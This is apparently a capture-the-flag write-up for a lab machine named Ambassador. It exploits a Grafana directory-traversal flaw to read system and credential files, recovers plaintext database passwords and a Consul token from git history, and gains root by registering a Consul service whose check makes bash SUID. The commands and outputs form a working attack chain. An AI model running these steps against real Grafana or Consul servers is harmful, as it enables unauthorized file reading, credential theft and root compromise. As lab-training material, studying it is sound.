ambassador.png

Ambassador#

Enum#

22   - OpenSSH 8.2p1 (Ubuntu)
80   - Apache 2.4.41 (Ubuntu)
3000 - Graffana v8.2.0 - d7f71e9eae
3306 - MySQL 8.0.30-0 ubuntu0.20.04.2

The page on port 80 says devops will give you the password to developer. ok.

 dirsearch -u http://example.org                                                                                                                                                         130   _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/blnkn/.dirsearch/reports/example.org/_22-10-08_17-06-02.txt

Error Log: /home/blnkn/.dirsearch/logs/errors-22-10-08_17-06-02.log

Target: http://example.org/

[17:06:02] Starting:
[17:06:04] 403 -  276B  - /.htaccess.orig
[17:06:04] 403 -  276B  - /.htaccess.sample
[17:06:04] 403 -  276B  - /.htaccess.save
[17:06:04] 403 -  276B  - /.ht_wsr.txt
[17:06:04] 403 -  276B  - /.htaccess.bak1
[17:06:04] 403 -  276B  - /.htaccess_sc
[17:06:04] 403 -  276B  - /.html
[17:06:04] 403 -  276B  - /.htm
[17:06:04] 403 -  276B  - /.htaccess_extra
[17:06:04] 403 -  276B  - /.htaccessOLD2
[17:06:04] 403 -  276B  - /.htaccessBAK
[17:06:04] 403 -  276B  - /.htpasswd_test
[17:06:04] 403 -  276B  - /.htpasswds
[17:06:04] 403 -  276B  - /.htaccessOLD
[17:06:04] 403 -  276B  - /.httr-oauth
[17:06:04] 403 -  276B  - /.htaccess_orig
[17:06:06] 200 -    2KB - /404.html
[17:06:14] 301 -  315B  - /categories  ->  http://example.org/categories/
[17:06:19] 301 -  311B  - /images  ->  http://example.org/images/
[17:06:19] 200 -  992B  - /images/
[17:06:19] 200 -    4KB - /index.html
[17:06:19] 200 -    1KB - /index.xml
[17:06:25] 301 -  310B  - /posts  ->  http://example.org/posts/
[17:06:26] 403 -  276B  - /server-status
[17:06:26] 403 -  276B  - /server-status/
[17:06:27] 200 -  645B  - /sitemap.xml
[17:06:29] 301 -  309B  - /tags  ->  http://example.org/tags/

Task Completed

https://gohugo.io/
https://gohugo.io/getting-started/installing#fetch-from-github
https://github.com/gohugoio/hugo

Grafana 8.0.0 -> 8.3.0 - Directory traversal#

we know that grafana is 8.2.0 and the Directory Traversal vulnerability bellow is from 8.0.0 to 8.3.0

searchsploit grafana
--------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                             |  Path
--------------------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                                    | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                | multiple/webapps/50581.py
--------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

and it works indeed

python3 grafana-traversal.py -H http://example.org:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Read file >
grep sh$ passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
grep graf passwd
grafana:x:113:118::/usr/share/grafana:/bin/false

looking at the documentation for grafana, we’re pulling the default config location for an ubuntu install

/etc/grafana/grafana.ini

the only non default config is the admin password and it successfully logs us in the admin portal

admin_password = messageInABottle685427

the portal shows that the config file for the datasource is “mysql.yaml”
again looking a little into the documentation, we’re pulling the mysql datasource config file with the same exploit
and that gives us the password for the grafana mysql database user

Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1

datasources:
 - name: mysql.yaml
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false

Connecting to the MySQL database#

as we know the db is exposed to over the network, so at this stage nothing prevents us from connecting directly

mysql -u grafana -p -h example.org -D grafana
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+

the password isn’t even hashed that’s embarassing

printf 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg=='|base64 -d
anEnglishManInNewYork027468
developer@ambassador:~$ wc -c user.txt
33 user.txt

Forraging git history for tokens#

sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on ambassador.

the git config in the developer users’s home points to /opt/my-app where the whacky app thing resides

cat .gitconfig
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app

so we can look at the git logs in there

 git log --oneline
33a53ef (HEAD -> main) tidy config script
c982db8 config script
8dce657 created project with django CLI
4b8597b .gitignore

and get a token to talk to the consul API

git show 33a53ef
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

looks like this thing offers some kind of secret management:

consul kv get --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw
dontStandSoCloseToMe63221!

but there’s nothing in there that we don’t already know

consul kv export --token bb03b43b-1d81-d62b-24b5-39540ee469b5
[
        {
                "key": "test",
                "flags": 0,
                "value": "aGVsbG8="
        },
        {
                "key": "whackywidget/db/mysql_pw",
                "flags": 0,
                "value": "ZG9udFN0YW5kU29DbG9zZVRvTWU2MzIyMSE="
        }
]

there’s also the Django secret key, I believe that might allow us to do some attacks on the cryptography related methods in django, not sure that’s relevant right now.

+# Quick-start development settings - unsuitable for production
+# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/
+
+# SECURITY WARNING: keep the secret key used in production secret!
+SECRET_KEY = 'django-insecure--lqw3fdyxw(28h#0(w8_te*wm*6ppl@g!ttcpo^m-ig!qtqy!l'

Exploring the inner workings of Consul#

I know very little about consul, but from what I started reading this is a mesh networking solution for microservice oriented architectures. So in theory this is used to connect various containers accross nodes and datacenters. I don’t believe there’s any kubernetes running here, but there’s lxd. I’ll need to poke around to understand what consul really offers and how it works.

ports that seem related to consul

netstat -tulpen|grep 127.0.0.1:8|grep tcp
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      0          38103      -
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      0          38108      -
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      0          38105      -
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      0          38122      -
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      0          38119      -

https://www.consul.io/docs/install/ports

8300 -> Server RPC            - This is used by servers to handle incoming requests from other agents
8301 -> LAN Serf              - used to handle gossip in the LAN. Required by all agents
8302 -> WAN Serf              - used by servers to gossip over the WAN, to other servers
8500 -> consul agent HTTP API - used by clients to talk to the HTTP API (ui disabled in our case)
8600 -> consul DNS            - resolve DNS queries

so the commands bellow are just a dump of things I tried:

CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
export CONSUL_HTTP_TOKEN 
consul kv get whackywidget/db/mysql_pw
consul kv export 
consul acl token list
consul acl token read -self
consul catalog datacenters
consul catalog nodes
consul catalog services
consul reload
consul exec -node=ambassador 'ip a'   # Not working 

Command Execution with the Consul Service API#

https://www.consul.io/api-docs/api-structure
https://www.consul.io/api-docs/agent/service#register-service
first I’ll be forwarding the agent port to my local machine so I can use jq

ssh -fNL 8500:localhost:8500 developer@example.org

listing all existing services

curl -s \
  -H "X-Consul-Token: ${token}" \
  -X GET 'http://127.0.0.1:8500/v1/agent/services' |\
  jq "."
{
  "meow": {
    "ID": "meow",
    "Service": "meow",
    "Tags": [],
    "Meta": {},
    "Port": 80,
    "Address": "127.0.0.1",
    "TaggedAddresses": {
      "lan_ipv4": {
        "Address": "127.0.0.1",
        "Port": 80
      },
      "wan_ipv4": {
        "Address": "127.0.0.1",
        "Port": 80
      }
    },
    "Weights": {
      "Passing": 1,
      "Warning": 1
    },
    "EnableTagOverride": false,
    "Datacenter": "dc1"
  },
  "svc111": {
    "ID": "svc111",
    "Service": "svc111",
    "Tags": [
      "default"
    ],
    "Meta": {},
    "Port": 0,
    "Address": "",
    "Weights": {
      "Passing": 1,
      "Warning": 1
    },
    "EnableTagOverride": false,
    "Datacenter": "dc1"
  }
}

listing a specific service

curl -s \
  -H "X-Consul-Token: ${token}" \
  -X GET 'http://127.0.0.1:8500/v1/agent/service/meow' |\
  jq "."
{
  "ID": "meow",
  "Service": "meow",
  "Tags": [],
  "Meta": {},
  "Port": 80,
  "Address": "127.0.0.1",
  "TaggedAddresses": {
    "lan_ipv4": {
      "Address": "127.0.0.1",
      "Port": 80
    },
    "wan_ipv4": {
      "Address": "127.0.0.1",
      "Port": 80
    }
  },
  "Weights": {
    "Passing": 1,
    "Warning": 1
  },
  "EnableTagOverride": false,
  "ContentHash": "8fb6dc4f012493d5",
  "Datacenter": "dc1"
}

writing a bash script in /tmp that will make a suid bash

echo 'chmod +s /usr/bin/bash' > blnkn.sh
cat blnkn.sh
chmod +s /usr/bin/bash
chmod +x blnkn.sh
 which bash
/usr/bin/bash
ls -la $(which bash)
-rwxr-xr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash

and creating a service that calls that bash script as a check

curl -s \
  -H "X-Consul-Token: ${token}" \
  -X PUT 'http://127.0.0.1:8500/v1/agent/service/register' \
  -d '{
  "ID": "blnkn",
  "Name": "blnkn",
  "Address": "127.0.0.1",
  "Port": 80,
  "check": {
    "Args": [
      "/usr/bin/bash",
      "/tmp/blnkn.sh"
    ],
    "interval": "10s",
    "timeout": "1s"
  }
}'

checking that my service has been created

curl -s \
  -H "X-Consul-Token: ${token}" \
  -X GET 'http://127.0.0.1:8500/v1/agent/service/blnkn' |\
  jq "."
{
  "ID": "blnkn",
  "Service": "blnkn",
  "Tags": [],
  "Meta": {},
  "Port": 80,
  "Address": "127.0.0.1",
  "TaggedAddresses": {
    "lan_ipv4": {
      "Address": "127.0.0.1",
      "Port": 80
    },
    "wan_ipv4": {
      "Address": "127.0.0.1",
      "Port": 80
    }
  },
  "Weights": {
    "Passing": 1,
    "Warning": 1
  },
  "EnableTagOverride": false,
  "ContentHash": "fd910d44cc6214e9",
  "Datacenter": "dc1"
}

yep

consul catalog services
blnkn
consul
meow
svc111

and now bash is suid, so we can run it with preserve and it won’t drop root permissions.

ls -la $(which bash)
-rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash
bash -p
id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer)
cd /root/
wc -c root.txt
33 root.txt